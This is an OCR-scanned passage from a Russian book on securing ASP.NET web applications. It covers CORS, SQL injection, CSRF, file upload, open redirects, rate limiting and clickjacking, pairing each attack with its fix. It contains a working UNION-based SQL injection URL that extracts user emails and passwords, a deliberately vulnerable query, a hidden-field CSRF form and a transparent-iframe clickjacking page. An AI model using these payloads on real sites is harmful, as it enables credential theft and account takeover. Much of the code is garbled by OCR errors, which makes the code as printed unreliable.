Это был пример именованной политики. Если вам нужно настроить политику по умолчанию, ТО ДЛЯ ЭТОГО используем AddDefaultPolicy, и этому методу не нужно передавать имя — только политику:
builder.Services.AddCors(options => {
options.AddDefaultPolicy( policy => {
policy.WithOrigins (’’http://localhost:8080”);
});
});
Политику можно устанавливать как на отдельный метод, так и на весь контроллер. Если вы поставили разрешающий атрибут [EnabieCors] на весь контролер и хотите отменить доступ для одного из методов, то это можно сделать с помощью атрибута [DisableCors].
Можно установить политику на весь маршрут. В примерах к книге я использую для маршрутов:
app.MapDefaultControllerRoute();
После этого метода вызываем Requirecors и указываем нужную политику:
app.MapDefaultControllerRoute().RequireCors("Loginpolicytest");
Маршруты могут задаваться с помощью MapGet или MapControiierRoute, после которых также МОЖНО указать Requirecors.
На мой взгляд, это слишком щедрый подход, потому что стороннему приложению открывается доступ ко всем методам, которые создаются маршрутом. Возможно, это действительно вам нужно, но прежде чем делать подобное, подумайте, может, стоит предоставить доступ только к отдельным методам своего сайта.
3.9. SQL Injection: доступ к недоступному
Давайте посмотрим на еще один интересный пример использования SQL-инъекции.
В разд. 3.7.4 я уже показывал код контроллера, который отображает список заметок. Там была приведена такая строка вызова:
public async Task<IActionResult> Index(string status = "0”) {
HomeViewModel model = new HomeViewModel();
Безопасность .NET-припожений
171
model. IsLoggedin = this.user.IsLoggedIn();
model.Blogitems = await blog.List(status); return View (model);
}
В качестве параметра метод получает строку status, которую мы передаем методу List для получения заметок с определенным статусом.
Теперь посмотрим на плохой вариант реализации List:
public async Task<IEnumerable<BlogModel>> List(string status) {
using (var connection =
new SqlConnection(DbHelper.GetConnectionString()))
{
await connection.OpenAsync();
string sql = 0"select * from [Blog] where Status = ” + status;
return await connection.QueryAsync<BlogModel>(sql);
} }
Этот код действительно плохой, потому что вместо использования параметров переменная status складывается со строкой запроса. Но я его так написал намеренно, чтобы продемонстрировать еще один вариант использования SQL-инъекции. Я ранее показывал примеры того, как можно удалять и изменять данные, а в рассматриваемом случае хакер может получить доступ к данным, к которым не должен иметь доступа.
Если хакер в качестве статуса передаст:
http:/Aocalhost:37741/?status=0%20union%20all%20select%201,%20Einail, %20Password,%204,%205,%206%20from%20[User]-
то при замене всех %20 на пробелы, в параметре status будет получено:
О union all select 1, Email, Password, 4, 5, 6 from [User]—
И после сложения строк в методе List мы получим следующий запрос:
select * from [Blog] where Status = 0 union all
select 1, Email, Password, 4, 5, 6 from [User]—
Я здесь объединил два запроса: получения заметок и пользователей. Два символа тире в конце поставлены для того, чтобы начать комментарий. Если в запросе на сервере будут какие-то дополнительные условия, то символ комментария сделает эти условия неактивными. В нашем случае ничего такого нет, поэтому после символа комментария — пустота, но я хотел все же показать вам, что это возможно.
В результате на странице будут отображены не только заметки из блога, но и пользовательские данные (рис. 3.18).
Это еще одна опасность SQL-инъекции — хакер может удалять, обновлять и даже получать доступ к данным в базе.
172
Гпава 3
• •• Е ^ < й + О
MyBlog Главная Регистрация Войти Xss
Мы о вас ничего не знаем
Это тест
<Ь2>Это тестовое сообщение</Ь2>
Многострочный тест
Это первая строка
Это вторая строка
Это третья строка
flenov@gmail.com
4l3BYpWuqG1TghKJhCJyupm8su4vg8rDcwVX»(HVihYTw7zefnOr<JXwwdA689mi/niCAZw<aSXt/XJp4WNSw^
flenov@hotmail.com
nh6pfHtBSXs6vAyGKiAnes64xFr^BU3PHrnKk9/S^00GphczFytKX^WG6a7HXMcX5x5MCM0HDSBYZxaps3Q==
Рис. 3.18. Результат обращения к пользователям
Как минимум мы должны использовать параметры:
public async Task<IEnumerable<BlogModel>> List(string status) {
using (var connection =
new SqlConnection(DbHelper.GetConnectionString()))
{
await connection.OpenAsync();
string sql = ^"select * from [Blog] where Status = ^status";
return await connection.QueryAsync<BlogModel>( sqlr new { status = status });
} }
А так как статус является числом, то будет еще лучше конвертировать параметр status в число. Это необходимо даже не с точки зрения безопасности, а ради надежности кода. Если теперь хакер передаст в качестве статуса что-то, что не является числом, то выполнение запроса завершится ошибкой, потому что нельзя сравнивать числовую колонку status со значением, которое числом не является.
3.10. CSRF: межсайтовая подделка запроса
Уязвимость CSRF (Cross-Site Request Forgery) — это подделка запроса, который выполняется между сайтами. Наиболее ярко эту проблему можно показать на примере формы смены пароля.
Безопасность .NET-приложений
173
Давайте создадим новый контроллер Accountcontroller, который будет содержать два метода для смены пароля:
[HttpGet]
[Route("/account/password")]
public lActionResult AddAction () {
return View ("Password", new PasswordViewModel ());
I
[HttpPost]
[Route("/account/password")]
public async Task<IActionResult> AddPostAction(PasswordViewModel model) {
if (Modelstate.IsValid)
{
var userdata = await currentuser.GetUserData();
await authentication.UpdatePassword(userdata.Userid, userdata.Salt, model.NewPasswordl);
return Redirect("/");
I
return View("Password", model);
}
Первый метод просто отображает форму для ввода нового пароля. Второй метод проверяет корректность данных и просит метод бизнес-уровня обновить пароль. Там будет применено шифрование, поэтому для простоты я прямо из контроллера передаю соль.
Идентификатор посетителя мы берем из контроллера. Так как это всегда текущий посетитель, мы не сможем обновить данные за другого посетителя. По крайней мере, так может показаться...
В представлении мы будем запрашивать пароль дважды — как это сейчас часто можно увидеть в Интернете:
<form method="post" >
<1аЬе1>Пароль</1аЬе1>
<input type="password" name="NewPasswordl" value="@Model.NewPasswordl" />
<div class="error">@Html.ValidationMessageFor (m => m.NewPasswordl)</div>
<1аЬе1>Повторим</1аЬе1>
<input type="password" name="NewPassword2" value="@Model.NewPassword2" />
<div class="error">@Html.ValidationMessageFor(m => m.NewPassword2)</div>
<button>Добавить</button>
</form>
Бизнес-уровень показывать здесь я не стану — он сейчас не так важен. И даже если вы в нем все делаете верно — зашифруете пароль с солью, проблема CSRF никуда не денется.
174
Гпава 3
А что если хакер создаст следующую форму?
<form method="post" action="http://site/account/password">
<input type="hidden" name="NewPasswordl" value="Qwert!2345" />
<input type="hidden" name="NewPassword2" value="Qwert!2345" /> <button>K®KHM! </button>
</form>
У этой формы всего два невидимых поля для пароля, которые ожидает сайт-жертва, и видимая кнопка. Если хакер найдет где-то XSS-уязвимость, то он сможет добавить на взломанный сайт эту форму и сделать ее доступной любому посетителю. Если кто-то из посетителей нажмет на кнопку, то на сайт-жертву будет направлен запрос на смену пароля, и если этот посетитель авторизован, то его пароль поменяется на Qwert 12345. Такой запрос будет легитимным, и мы его никак не проверяем: откуда пришел запрос, кто его отправил...
XSS-уязвимость не обязательна. Хакер может просто создать какой-нибудь сайт, поместить туда такую форму и ждать, когда посетители прийдут к нему и щелкнут на кнопке.
Первый возможный вариант защиты, который приходит в голову, — проверять поле Referer: вместе с каждым запросом на сервер браузер отправляет заголовок (рис. 3.19), в котором указан интернет-адрес (URL), с которого пришел посетитель. Если запрос пришел с чужого сайта, то мы должны его игнорировать.
Рис. 3.19. Заголовок Referer
Безопасность .NET-припожений
175
Проверка Referer действительно может помочь с защитой, но только против межсайтовой подделки запроса. А если хакер найдет XSS-уязвимость на нашем сайте? В этом случае источником запроса будет наш сайт, и защита не сработает. Можно надеяться, что мы никогда не совершим ошибки, но зачем надеяться, если можно реализовать защиту, что не так и сложно, которая будет работать для любого случая.
Когда посетитель обращается к форме /account/pas sword методом Get, то можно сгенерировать какой-то уникальный код, который будет добавлен к форме и сохранен в сессии. При получении ответа от посетителя нужно просто проверить наличие этого кода и сравнить со значением в сессии. Если они совпадут, то все в порядке. Если кода нет или он не совпадает, то это хакер.
Хакер не сможет заранее предугадать код, который генерируется случайно.
Можно все это сделать вручную, а можно воспользоваться возможностями, встроенными в .NET.
Организовать уникальную защиту от CSRF достаточно просто — надо только добавить где-то В форме @Html .AntiForgeryToken ():
<form method»"post" > в Html.AntiForgeryToken() <1аЬе1>Пароль</1аЬе1>
<input type-"password" name-"NewPasswordl" value="@Model.NewPasswordl" /> <div class—"error">@Html.ValidationMessageFor(m => m.NewPasswordl)</div>
<1аЬе1>Повторим</1аЬе1>
<input type="password" name="NewPassword2" value-"@Model.NewPassword2" /> <div class="error">@Htinl. ValidationMessageFor (m => m.NewPassword2)</div>
<button>flo6aBMTb </button>
</form>
Если загрузить теперь страницу смены пароля, то в исходном коде можно будет найти новый параметр: RequestverificationToken, значение которого настолько большое и уникальное, что его предугадать практически невозможно (рис. 3.20).
Пока мы только добавили код к форме — теперь нужно организовать проверку, а ДЛЯ ЭТОГО перед методом сохранения добавляем атрибут [ValidateAntiForgeryToken]:
[HttpPost]
[Route (’’/account/password”) ]
[ValidateAntiForgeryToken]
public async Task<IActionResult> AddPostAction(PasswordViewModel model) {
}
Если теперь загрузить сайт, через утилиту разработчика браузера испортить код RequestverificationToken и попробовать отправить форму на сервер, наш запрос завершится ошибкой.
176
Глава 3
Рис. 3.20. Добавлен параметр _RequestVerificationToken
Атрибут [VaiidateAntiForgeryToken] можно указывать и на уровне класса, и тогда токен будет проверяться при обращении к любому методу класса:
[VaiidateAntiForgeryToken]
public class Accountcontroller: Controller
{ }
Эго удобно делать, если у класса много методов, и надо не забыть проверять их все, но в моем случае это приведет к одной проблеме — пользователь не сможет загрузить форму смены пароля: http://localhost:37741/Account/Password. Когда мы обращаемся методом GET — из адресной строки (URL) браузера, — .NET станет пытаться проверить токен безопасности, которого просто нет в этом URL, и его будет сложно предоставить.
Если попытаться генерировать код и передавать его через строку URL, то посетитель не сможет сохранить страницу в закладках. Даже если он сделает это, то при попытке через какое-то время перейти по сохраненной ссылке он обнаружит, что она устарела. Да и поисковые системы не смогут правильно сохранять такие ссылки в своей базе.
На уровне класса лучше использовать другой атрибут— [AutoValidateAntiforgeryToken]:
[AutoVa1idateAntiforgeryToken]
public class Accountcontroller: Controller
{
}
Безопасность .NET-припожений
177
Согласно документации Microsoft, этот атрибут приведет к тому, что будет автоматически происходить проверка безопасности для всех типов запросов — кроме GET, HEAD, OPTIONS и TRACE. Эго как раз то, что нам нужно: при попытке обратиться к странице из строки URL проверка GET-запроса выполняться не будет, а вот для POST-запроса — будет.
Если указывать AutoVaiidateAntiforgeryToken, то окажется меньше шансов забыть указать эту проверку для одного из запросов, и это плюс с точки зрения безопасности.
А можно ли сделать проверку по умолчанию глобально? Можно! В файле Program.cs ищем строку, которая подключает AddMvc, и добавляем здесь автоматическую проверку CSRF-токена в качестве фильтров:
builder.Services.AddMvc(options => {
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()); })
Главное теперь — не забыть проверить все страницы и убедиться, что вы не забыли добавить @Html .AntiForgeryToken () ко всем формам, которые отправляют данные на сервер.
На мой взгляд, забывчивость — это самая популярная проблема безопасности, и большинство проблем возникают из-за забывчивости. Легко добавить токен к форме и забыть добавить проверку на стороне сервера (забывают добавить Va1idateAntiForgeryToken).
Я рекомендую использовать AutoVaiidateAntiforgeryToken, чтобы у вас работала защита по умолчанию.
3.11. Загрузка файлов
При загрузке файлов есть свои особенности, о которых стоит поговорить. Я добавил в базу данных к таблице блога новую колонку со строкой для хранения пути к файлу картинки:
alter table Blog add ImageFile varchar(255)
На форме при этом появится новое поле для выбора файла:
<input с1ass=”form-input" type="file” name=" image" />
Далее лучше было бы создать отдельный класс для хранения логики загрузки файла, но я для простоты реализую все в контроллере. В Blogcontroller перед сохранением данных в базе добавим код загрузки картинки:
string filename = "";
var imagefiledata = this.Request.Form.Files("image"]; if (imagefiledata != null)
{
MD5 md5hash = MD5.Create();
178
Гпаев 3
byte[] inputBytes =
System.Text.Encoding.ASCII.GetBytes(imagefiledata.FileName);
byte[] hashBytes = md5hash.ComputeHash(inputBytes);
string hash = Convert.ToHexString(hashBytes);
var dir = ”./wwwroot/images/” + hash.Substring(0, 2) + "/" +
hash.Substring(0, 4) ;
if (!Directory.Exists(dir))
Directory.CreateDirectory(dir);
filename = dir + ”/” + imagefiledata.FileName;
using (var stream = System.IO.File.Create(filename))
{
await imagefiledata.CopyToAsync (stream);
} }
Если все файлы сбрасывать в одну папку, то при росте их количества в конце концов это может сказаться на производительности доступа к ним. Разбиение общей папки на вложенные упростит масштабирование. Если в определенный момент понадобится вынести файлы в отдельное хранилище, его можно будет подключить в качестве удаленной ссылки. Ваша локальная папка может указывать на сервер в сети.
Я разбивал файлы по папкам с помощью хеширования: из хеш-суммы имени файла первые два символа взял для имени папки, а следующие четыре символа — для имени подпапки. В результате после загрузки первой записи у меня получилась структура, показанная на рис. 3.21.
V wwwroot
> Bl css
v Bl images
vBl FF
V Bl FFFA □ 1880.jpg > Bl is > Ш № П favicon.ico
Рис. 3.21. Структура папок после загрузки изображения
Имя папки содержит два шестнадцатеричных символа, а это значит, что в папке images может находиться не более 256 подпапок.
Это еще не все — нам желательно убедиться, что в этих файлах находятся именно изображения и ничего больше. Для этого раньше удобно было использовать класс image из пространства имен System. Drawing, но оно доступно сейчас только в .NET
Безопасность .NET-припожений
179
Framework. В последнюю версию .NET его еще не перенесли. Можно, конечно, использовать и другие библиотеки, но сторонние разработки я советовать не стану.
Идея проверки заключается в том, что нужно попробовать загрузить картинку как изображение, и если это не завершится ошибкой, а мы сможем получить размеры картинки, то в таком случае обычно говорят, что формат файла соответствует изображению.
Но тут может возникнуть проблема безопасности, если в библиотеке обработки изображений будет найдена уязвимость. К сожалению, это происходило с некоторыми библиотеками, которые достаточно популярны для .NET. Опять же, не буду называть конкретные имена, чтобы не нанести вреда разработчикам.
Если вы будете проверять изображения на корректность попыткой загрузить картинку, обязательно следите за обновлениями библиотеки и своевременно обновляйтесь.
Можно не проверять файл на наличие изображения. Но для интерпретируемых языков такая проверка обязательна. Например, в PHP хакер может загрузить вместо файла с изображением файл с PHP-кодом. При наличии определенных условий такой файл можно потом выполнить на сервере, потому что этот язык не требует компиляции.
Нужно еще убедиться, что на сервере нет интерпретаторов PHP, Python или другого интерпретируемого языка. Иначе хакер загрузит PHP-код в ваше .NET приложение и выполнит его с помощью РНР-интерпретатора.
C# нуждается в компиляции. Программисты могут реализовывать что-то типа компиляции в памяти или другие вариации выполнения С#-кода, но если у вас нет ничего подобного, то даже если хакер загрузит код, он не выполниться.
Получается, что можно не проверять изображение на корректность, если у вас на сервере нигде не происходит компиляция на лету и нет интерпретаторов. Самое страшное, что произойдет, — некорректное изображение будет загружаться в браузер пользователя, и он его не сможет отобразить.
Теоретически есть еще вероятность, что в браузере будет уязвимость, реализуемая при обработке изображений, но я таких уязвимостей не помню. Даже если в браузере возникнет проблема, это уже будет проблема браузера.
3.12. Переадресация
Достаточно популярная задача — переадресовывать посетителей на сайте. Например, какая-то секция на сайте требует авторизации, а текущий посетитель не авторизован. В этом случае мы перенаправляем его на страницу авторизации, а после авторизации хотим, чтобы он вернулся на нужную страницу, а не искал ее.
Давайте реализуем такую логику. В модель авторизации нужно добавить новое поле:
public string? U { get; set; }
180
Глава 3
Метод GET для авторизации будет получать строку с интернет-адресом (URL), на который нужно переадресовать посетителя по завершении авторизации:
[HttpGet]
[Route("/login")]
public lActionResult Index(string u) {
return View(new LoginViewModel()
{
U = u
});
I
Теперь этот параметр нужно сохранить где-то на форме для последующего использования, и для этого подойдет скрытое поле:
<input type="hidden" name="u" value="@Model.U" />
Ну и последний штрих — после авторизации переадресовать посетителя на нужную страницу:
if- (isAuthenticated) return Redirect (String. IsNullOrEmpty (model.U) ? "/" : model.U);
else
Modelstate.TryAddModelError("Email", "Неверный Emai1 или пароль");
Теперь, если посетителя отправить на адрес:
http://localhost:37741/login?u=/Account/Password
то после авторизации он будет перенаправлен на страницу смены пароля.
А что если пользователя направить на такой адрес:
http://localhost:37741/login?u=http://www.flenov.info
После авторизации пользователь окажется на моем сайге. Вроде бы ничего страшного нет, но допустим, что уязвимость найдена на сайте Google и URL выглядит так:
https://www.google.eom/login7iFhttp://www.google.coiii/account/password
Хакер может разослать этот URL по email, а как мы обычно проверяем легитимность ссылок, прежде чем щелкать на них? Наводим курсор на ссылку и смотрим на адрес — что ж, адрес здесь очень даже легальный, это же google.com.
Посетитель может щелкнуть на полученной в письме ссылке и оказаться на реальном сайте Google, что опять же не вызовет вопросов. Но после авторизации посетитель переадресовывается на адрес: http://www.google.coin/account/password, а здесь есть одна мелочь — вместо буквы 1 в нем стоит очень похожая на нее цифра 1 (единица).
По статистике, внимание посетителя снижается после загрузки первой страницы. Щелкнув на ссылке, ведущей на сайг, даже опытные посетители проверяют только первую загруженную страницу, а куда потом происходит переадресация — мало кто смотрит.
Безопасность .NET-приложений
181
Да, если посетители каким-то образом окажутся на сайте хакера и там отдадут свои данные, это будет их проблема. Но станет ли вам от этого легче? Уверен, что в Google не будут рады, если их сайт превратится в стартовую площадку для последующего взлома.
Никогда не позволяйте переадресацию на чужие сайты! Если есть определенные сайты, в безопасности которых вы уверены, то можно создать «белый список» и разрешить переадресацию только на них. Но прежде чем делать это, стоит все же 10 раз подумать — а действительно ли это необходимо?
В .NET для переадресации посетителя добавили несколько полезных методов, которые переадресуют только внутри текущего сайта. Например: RedirectToAction— направить посетителя на определенный метод. В следующем примере я создал метод, который будет отзываться на маршрут /redirect/index и просто перенаправлять на домашнюю страницу:
[HttpGet]
[Route("/redirect/toroute")] public TActionResult TorouteO {
return RedirectToAction("index", "Homecontroller"); }
У RedirectToAction есть два параметра: имя метода, на который нужно перенаправить, и имя контроллера, в котором нужно искать этот метод. Если контроллер не указан, то будет использоваться текущий.
Оба параметра — строки. Может показаться, что это неэффективно, потому что программист может опечататься или имя в будущем может измениться, а компилятор не увидит необходимости в замене строки. Но строки предоставляют гибкость, а имена контроллеров можно хранить где угодно. Если вы четко знаете контроллер, то лучше передавать его не в качестве строки, а в качестве имени:
[HttpGet]
[Route("/redirect/toroute")] public TActionResult TorouteO {
return RedirectToAction(
nameof(HomeController.Index), typeof(HomeController) .Name );
}
Метод перенаправляет запросы только внутри текущего приложения — туг нет возможности указать другой домен.
Бывает необходимость переадресовывать на URL и не использовать контроллеры или методы. Возможно у вас есть несколько сайтов, и вы хотите доверять определенным адресам. Такое часто бывает у банков. Вы авторизуетесь на домене auth.bankiiame.ni, а после этого происходит переадресация на online.banknaiiie.ru.
182
Глава 3
Теоретически домен не должен передаваться через URL, но если по какой-то причине он передается, то можно сделать список разрешенных доменов. У меня такое было с Sony, когда запросы на авторизацию могли прийти с разных доменов: sonycard.com, wheeloffortune.com, productregstration.sony.com. На сервере я проверял: если домен действительно разрешенный, то происходила переадресация. Если хакер изменит одну букву и пришлет sOny.com, то такого не будет среди разрешенных, и переадресация не произойдет.
Еще несколько нюансов по поводу проверки на корректность. Допустим, вы сами пишете проверку и хотите убедиться, что текущий URL является корректным. Можно проверить, начинается ли URL с http:
[HttpGet]
[Route(”/redirect/tourlv2”)]
public lActionResult tourlv2(string url) {
if (!url.StartsWith(’’http”) ) return Redirect(url);
return Redirect(”/”);
}
Это будет работать. Можно проверять, что переданный URL начинается со слеша, — и это тоже будет работать.
Но для обоих этих случаев есть вариант обхода. Дело в том, что можно указывать URL, начиная с двух слешей — например: //www.flenov.info. Два слеша в начале означают, что нужно использовать текущую схему: если сейчас URL начинается с http, то //www.flenov.info превратится в http://www.flenov.info, если текущий URL — это https, то в результате будет https://www.flenov.info.
Так что у хакера есть вариант обхода, и нужно учесть возможность URL с двумя слешами в начале.
Как вариант, можно проверять и на http, и на двойной слеш в начале:
[HttpGet]
[Route("/redirect/tourlv3”)]
public lActionResult tourlv3(string url) {
if (!url.StartsWith(’’http”) && !url.StartsWith(”//”)) return Redirect(url);
return Redirect ("/");
}
Работать это будет, и представляет собой вполне уже безопасный вариант. Но в .NET есть вариант лучше. Имеется класс url, у которого есть метод isLocaiUri, которому передается строка, и он при возвращении сообщает, является ли переданный URL локальным.
Вот более универсальная и простая версия:
[HttpGet]
[Route("/redirect/tourlv4")]
Безопасность .NET-приложений
183
public lActionResult tourlv4(string url) {
if (Url.IsLocalUrl(url))
return Redirect(url);
return Redirect(”/”);
}
Я рассмотрел здесь самостоятельную проверку только для того, чтобы вы знали, откуда могут приходить проблемы. Это важно понимать, если вы столкнетесь с нестандартной задачей. Но именно для фильтрации переадресации рекомендую ИСПОЛЬЗОВаТЬ Url. IsLocalUrl.
3.13. Защита от boS
В разд. 1.4 мы в теории познакомились с атакой DoS (отказ в обслуживании), а теперь рассмотрим защиту от нее на практике. Один из вариантов защиты от неоправданной нагрузки со стороны посетителя — ограничение количества запросов. В .NET для нас уже есть готовые инструменты для реализации такой защиты.
В .NET 7 появилась поддержка ограничения количества запросов. Если ваш проект создан на основе этой версии, то вы сможете использовать примеры кода, которые я буду приводить далее. Если нет, то самое время обновиться. Я недавно переводил проект с .NET 6 на .NET 7, и все решилось банальной сменой версии в csproj- файлах. Я заменил
<TargetFramework>net6.0</TargetFramework>
на
<TargetFramework>net7.0</TargetFramework>
и после этого обновил пакеты. Изменений на уровне С#-кода делать не пришлось.
Для этого издания я все примеры перевел на .NET 8 и для этого также изменил параметр TargetFramework, а потом обновил каждый из используемых пакетов до последней версии. Сам код менять не пришлось, все примеры из этого издания откомпилировались и запустились на новой версии .NET без проблем.
Итак, в файле Program.cs добавляем пространство имен:
using Microsoft. AspNetCore.RateLimiting;
Теперь мы можем настроить защиту от большого наплыва запросов с использованием RateLimiter.
Для начала нужно сконфигурировать сервис. Он поддерживает как плавающее, так и фиксированное окно. С помощью AddRateLimiter мы можем добавить несколько различных конфигураций и задействовать их потом по необходимости.
Начнем С фиксированного ОКНа, ДЛЯ КОТОРОГО Применим AddFixedWindowLimiter:
builder. Services.AddRateLimiter (_ => _.AddFixedWindowLimiter (’’fixed”, rateLimiter => {
rateLimiter.Window = TimeSpan.FromSeconds(10);
184
Глава 3
rateLimiter. PermitLimit = 4;
})
);
В качестве первого параметра здесь передается имя конфигурации. Второй параметр — это настройки ограничителя, и для фиксированного окна нужно указать два параметра: размер окна (в приведенном примере — 10 секунд) и максимальное количество запросов (4). Если на сайт придет более 4 запросов за 10 секунд, то новые приниматься не будут, пока не истечет 10-секундное окно.
Далее сразу же настроим плавающее окно с помощью метода AddsiidingWindowLimiter:
builder.Ser
ices.AddRateLimiter (_ => _.AddsiidingWindowLimiter ("sliding", rateLimiter => {
rateLimiter. Window = TimeSpan. FrcmSeconds (10);
rateLimiter. PermitLimit = 4;
rateLimiter.SegmentsPerWindow =4;
}) );
Тут снова сначала идет имя конфигурации и потом параметры. Помимо размера окна и максимального количества запросов, нужно указать количество сегментов в одном окне. Ограничитель делит каждое окно на определенное количество сегментов и считает данные в них.
Что ж, два ограничителя сконфигурированы — пора включить RateLimiter:
арр.UseRateLimiter();
Я не увидел этого в документации, но личный опыт показывает, что если у вас есть маршруты (useRouting), то UseRateLimiter должен идти после них, иначе защита работать не будет:
арр.UseRouting ();
арр.UseRateLimiter ();
Конфигурации готовы, и теперь их можно включить для определенных контроллеров ИЛИ Методов. ЭТО делается С ПОМОЩЬЮ атрибута EnableRateLimiting.
Давайте включим ограничитель sliding для главной страницы контроллера Homecontroller:
[EnableRateLimiting("sliding") ]
public async Task<IActionResult> Index () {
У атрибута EnableRateLimiting есть параметр, в котором нужно указать имя настройки, созданной нами в Program.cs. А там были созданы две настройки защиты С именами: fixed И sliding.
Безопасность .NET-приложений 185
Для URL /Ноте/Privacy/ мы включим фиксированную конфигурацию: [EnableRateLimiting("fixed”)] public LActionResult Privacy() { return View(); }
Загрузите сайт и попробуйте четыре раза быстро перезагрузить домашнюю страницу— пятая попытка должна закончиться ошибкой 503 (рис. 3.22). Таким образом мы сможем контролировать нагрузку на сервер.
Рис. 3.22. Ошибка 503
Пока что у нас все данные помещаются в одну глобальную корзину, но было бы лучше сделать сегментацию по ID пользователя или по IP-адресу для неавторизованных посетителей. Для этого можно добавить следующую сегментацию:
builder. Services .AddRateLimiter (options => {
options.GlobalLimiter =
PartitionedRateLimiter.Create<HttpContext, string>(httpContext => RateLimitPartition. GetFixedWindowLimiter ( partitionKey: httpContext.Session.GetString("userid") ??
httpContext.Connection.RemotelpAddress ?.ToString() ? ? " " r
186
Глава 3
factory: partition => new FixedWindowRateLimiterOptions {
AutoReplenishment = true,
PermitLimit = 10,
QueueLimit = 0,
Window = TimeSpan.FromMinutes(1) } ));
});
Хотя WebAPI выходят за рамки нашего рассмотрения, чтобы не возвращаться к вопросу ограничения доступа позже, стоит обсудить этот вопрос здесь. Если вы используете API с контроллерами, то их защита происходит так же, как было показано ранее. Если же вы применяете минимальный API-подход с методом MapGet, то контроллеров не будет, однако МОЖНО задействовать RequireRateLimiting следующим образом:
app.MapGet ("/", () =>
Results.Ok("Это ответ с сервера"))
.RequireRateLimiting("fixed");
Это достаточно новые возможности .NET, поэтому я еще не тестировал их на большой нагрузке на реальных серверах, но в домашних условиях на тестовом сайте все выглядит очень впечатляюще.
Для более старых версий .NET есть предложения от сторонних разработчиков, но я в своих будущих проектах обязательно попробую решение от Microsoft, потому что оно легко реализуется и имеет очень гибкие настройки.
3.14. Кликджекинг
Кликджекинг (Clickjacking) — механизм обмана, при котором сайт загружается во фрейм i frame, который делают максимально прозрачным, чтобы посетитель не видел его содержимого. Под содержимое подкладывается какой-то другой контент с кнопками в нужном месте, чтобы посетитель щелкал на этих кнопках, но реальные действия будут происходить внутри фрейма, который невидим.
Я локально запущу свой сайт www.flenov.ru, который написан на PHP, и добавлю в него следующий код:
<div stylee”position:absolute;margin—left: 200px;color:red;”>
<button>nony4HTb $100</button>
</div>
<iframe src=”http://localhost.ru:37741” style=”opacity:0.1”> </iframe>
Здесь два элемента: div, внутри которого расположена кнопка, и i frame, содержимое которого видно всего на 0.1 (10 процентов). В реальности хакер сделает фрейм
Безопасность .NET-приложений
187
полностью прозрачным, а я оставил 10 процентов только для того, чтобы видно было, что на самом деле находится на странице. Во фрейм загружен сайт, который мы рассматриваем в этой книге (рис. 3.23).
Рис. 3.23. Чужой сайт загружен в if rame
Посетитель щелкает на кнопке Получить $100, но реально будет нажата ссылка на сайте, который находится в фрейме поверх этой кнопки. В показанном случае при нажатии кнопки не произойдет ничего страшного, но хакеры могут загрузить во фрейм сайт банка и поставить кнопку Получить $100 поверх кнопки отправки денег.
Когда мир узнал о такой уязвимости, то очень многие использовали такой подход для накрутки в социальных сетях. Можно было загрузить в фрейм сайт какой-либо социальной сети и поставить свою кнопку поверх кнопки Подписаться или поверх кнопок, с помощью которых мы лайкаем контент.
Самая первая защита, которую я реализовал много лет, назад заключалась в том, что она проверяла с помощью JS, является ли текущий документ корневым. Если нет, то URL документа-родителя менялся на текущий. Мы как бы выпрыгивали из i frame.
Сейчас этого делать уже не нужно, браузеры автоматически по умолчанию добавляют защиту. Если вы попробуете приведенный ранее код у себя, то, возможно, он у вас не сработает, — это зависит от браузера. У меня Crome текущей версии без проблем загрузил в iframe другой сайт. На рис. 3.23 вы можете видеть, что копия сайта flenov.ru загружена на http://localhost:8080/, а в iframe загружен http:// localhost:37741/. Один и тот же localhost, и хотя порты не совпадают, Crome все загружает без проблем.
188
Гпава 3
Если добавить в свой файл hosts какой-то домен — например, такую запись:
127.0.0.1 flenovl.ru
и попробовать загрузить сайт внутри iframe через flenovi. ru:
ciframe src=”http://flenovl.ru:37741" style="opacity:0.1"> </iframe>
браузер Crome все равно загрузит сайт, хотя теперь в браузере загружен http://localhost:8080/, а во фрейме — http://flenovl.ru:37741/, а это совершенно разные домены и порты. Но теперь во фрейм грузятся не все страницы. При обращении к /login или /register происходит ошибка — в утилитах разработчика (рис. 3.24) можно видеть в строке Status (Состояние) надпись blocked:other (забло- кировано:другое).
Рис. 3.24. Загрузка /Register привела к блокировке
Если посмотреть на детали запроса, то он выполнен успешно: статус загрузки страницы http://flenovl.ru:37741ZRegister — 200 ОК, тогда откуда идет блок? На рис. 3.25 я показал более полную информацию о запросе, и секрет кроется в самом низу— заголовок X-Frame-Options равен SAMEORIGIN. Вот именно это значение и приводит к блокировке.
Сейчас заголовок x-Frame-options считается уже устаревшим, и рекомендуется использовать политику безопасности контента. Заголовок Content-security—Policy
Безопасность .NET-лршюжений
189
Рис. 125. Более полная информация о запросе /Register
нужно установить В frame-ancestors: "self". Но X-Frame-Options все еще ПОДДер* живается браузерами и прекрасно работает. Мы можем сами добавить этот заголовок к запросам:
Response. Headers. TryAdd ("X-Frame-Options", "DENY");
или написать промежуточный слой, который будет автоматически добавлять этот заголовок ко всем ответам с сервера. Прямо создавать класс для промежуточного слоя не обязательно — молено обойтись короткой версией:
арр.Use(async (context, next) => {
context. Response. Headers. TryAdd ("X-Frame-Options", "DENY");
await next();
I);
Добавьте этот код в файл Program.cs, и ваш сайт больше не смогут добавлять через iframe на другие сайты.
190
Глава 3
Некоторые считают, что если хакеры используют их сайт через if rame — то это не их проблема. Это проблема посетителей, которые гуляют непонятно где и щелкают непонятно на чем. Но защита очень проста, и почему бы ее не реализовать?
Заголовок x-Frame-options может принимать значения:
□ sameorigin — разрешается помещать во фрейм, если у сайтов один и тот же источник;
□ deny — нельзя помещать во фрейм;
□ allow-from источник — позволяет указать источник, с которого можно загружать во фрейм. Например:
арр.Use(async (context, next) => {
context.Response.Headers.TryAdd(”X-Frame-Options”, "ALLOW-FROM localhost:8080”);
await next();
});
Было время, когда можно было указывать этот атрибут через метаданные:
<meta http—equiv=”X—Frame—Options” content=”deny”>
Сейчас этот атрибут не работает и не обеспечивает защиту.
ГЛАВА 4
Г/
О производительности в целом
В этой главе я хотел бы поговорить о вопросах производительности, которые не касаются конкретно платформы С#, и почти вся приведенная здесь информация относится к любому другому языку программирования.
Я в ИТ уже очень долго и писал различные программы на разных языках. Встречались языки программирования, которые генерировали чуть более быстрый машинный код, чем другие, но попадались и те, которые не отличались в этом плане от других.
Но за все время моей работы в ИТ я постоянно имел дело с обстоятельствами, которые практически не менялись год от года и, хотя зародились много лет назад, все еще остаются актуальными и сегодня, — это вопросы производительности. И в этой главе мы поговорим о производительности языков программирования в целом, а в следующей — уже конкретно о производительности C# и .NET.
4.1. Основы
